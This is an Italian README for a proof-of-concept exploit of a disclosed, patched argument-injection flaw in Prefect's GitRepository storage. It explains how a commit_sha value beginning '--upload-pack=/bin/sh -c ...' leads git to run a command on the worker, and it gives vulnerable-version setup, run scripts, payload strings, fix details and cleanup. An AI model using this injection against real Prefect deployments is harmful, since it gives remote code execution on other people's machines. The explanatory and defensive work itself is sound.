
PoC per CVE-2026-5366: iniezione di argomenti git in GitRepository di Prefect che porta a RCE sul worker.
commit_sha (più iniezione di argomenti tramite directories)src/prefect/runner/storage.pyQuesta è una prova di concetto per una vulnerabilità già divulgata e corretta (fix in Prefect 3.6.25), pubblicata a scopo educativo e di validazione difensiva. Eseguila solo contro software e sistemi di tua proprietà o su cui sei autorizzato a fare test. Se esegui Prefect, aggiorna alla 3.6.25 o successiva.
| File | Scopo |
|---|---|
poc.py | Esegue entrambi i vettori di iniezione contro un'installazione vulnerabile e riporta quale produce l'esecuzione di codice |
run_offline.sh | Esecutore senza rete: crea un repository locale file:// e pilota poc.py contro di esso (il modo affidabile per vedere l'RCE scattare) |
In src/prefect/runner/storage.py:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
Punti di iniezione (numeri di riga 3.6.23):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:
(nessun separatore )Sul percorso commit_sha, --upload-pack=<program> viene interpretato da
git fetch/git checkout come il programma pack da eseguire per la connessione, quindi il
programma viene eseguito localmente sulla macchina worker. Ciò è verificato end-to-end
(vedi "Risultati verificati" di seguito).
Il percorso directories è una vera iniezione di argomenti ma non è un vettore RCE
tramite --upload-pack: git sparse-checkout set è un comando locale senza
opzione --upload-pack, quindi il payload viene rifiutato come flag sconosciuto. Questa
asimmetria si rispecchia nel fix upstream: commit_sha viene rifiutato in modo netto, mentre
una voce directories che inizia con -- genera solo un avviso.
Il cuore è un trucco di iniezione degli argomenti di git sul vettore commit_sha.
Nessuna validazione. Nella 3.6.23 il valore di commit_sha viene memorizzato alla lettera
(storage.py:181), senza controlli oltre all'esclusione reciproca tra branch/commit_sha.
Qualsiasi stringa è accettata.
Finisce in una posizione argomento di git. Quando Prefect estrae il codice
(pull_code() poi _clone_repo()), il valore viene inserito in una lista di argomenti git:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
Questa è una lista di argomenti (nessuna shell), quindi non c'è iniezione di shell. Il difetto è
che non c'è un separatore -- prima del valore controllato dall'attaccante.
--upload-pack viene analizzato come un'opzione, non come un argomento. git tratta qualsiasi cosa
inizi con - come un'opzione a meno che non la preceda un separatore --. Il payload:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
trasforma il comando in:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program> è un'opzione legittima di git fetch/clone/
ls-remote: indica il programma che git esegue per servire i pack. Quando il remoto è
locale (file://) o viene raggiunto tramite trasporto SSH/locale, git esegue quel programma
sulla macchina locale.
/bin/sh -c '...' al posto del vero helper
git-upload-pack, quindi il comando dell'attaccante viene eseguito sul worker Prefect.
git poi fallisce (sh non parla il protocollo git), ma l'effetto collaterale (esecuzione
di codice) è già avvenuto, motivo per cui la PoC ignora l'eccezione risultante
e controlla solo il file marcatore.Perché la pulizia preliminare è importante. Se la destinazione ha già una .git,
Prefect segue il percorso "aggiorna repository esistente". Eliminarla forza il
percorso completo _clone_repo(), che ha le chiamate più dirette fetch origin <value> +
checkout <value>, i migliori punti di iniezione.
Perché directories non dà RCE. Quel valore finisce in
git sparse-checkout set <value>, un comando locale senza opzione
--upload-pack, quindi git rifiuta il payload come flag sconosciuto. Resta una vera
iniezione di argomenti, ma non è un vettore RCE con questo payload.
Il fix (3.6.25). commit_sha deve corrispondere a ^[0-9a-fA-F]{4,64}$, quindi un
payload --upload-pack=... viene rifiutato con ValueError: Invalid commit SHA
al momento della costruzione. Per directories, il fix aggiunge il separatore -- nel
comando git (i valori non possono più essere letti come opzioni) più un avviso.
prefect==3.6.23GitRepository(..., commit_sha=..., directories=...).pull_code()commit_sha malizioso venga rifiutato alla costruzione di GitRepository(...)python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
Oppure dal sorgente al tag vulnerabile esatto:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
Il modo affidabile e autonomo (crea un repository locale file:// ed esegue entrambi i vettori):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
Puoi anche usare poc.py direttamente:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
Importante: git onora --upload-pack solo sui trasporti locali e ssh. Contro
il remoto https predefinito il payload è inerte, quindi python poc.py non segnala alcun
marker nemmeno sulla 3.6.23 vulnerabile. Usa run_offline.sh (o un POC_TARGET_REPO
file:// / ssh) per vedere l'RCE scattare davvero.
Lo script fa una pulizia aggressiva (force_clean_destination) prima di ogni
vettore, così da centrare in modo affidabile il percorso di clone (_clone_repo), che esegue:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
Questi colpiscono le posizioni grezze degli argomenti in fetch / checkout e
sparse-checkout set.
Riprodotta end-to-end, completamente offline (repository bare locale file:// tramite
run_offline.sh), su Python 3.12:
Contenuto osservato del marker nell'esecuzione vulnerabile:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
Su un'installazione corretta l'oggetto malizioso non viene costruito, prima che venga eseguito qualsiasi git:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
Una voce directories che inizia con -- genera solo un avviso (la vera protezione è
il separatore -- aggiunto al comando git).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6dUsa in modo responsabile (certo !!! :PpPPpp) e solo su sistemi che controlli :-)
["git", "sparse-checkout", "set", *self._directories]--| Versione | commit_sha | directories |
|---|
| 3.6.23 (vulnerabile) | RCE ottenuta: file marcatore scritto durante git fetch origin <payload> | nessun marker: sparse-checkout set rifiuta il flag --upload-pack |
| 3.6.25 (corretta) | neutralizzata: ValueError: Invalid commit SHA ... alla costruzione di GitRepository(...) | nessun marker: separatore -- + avviso |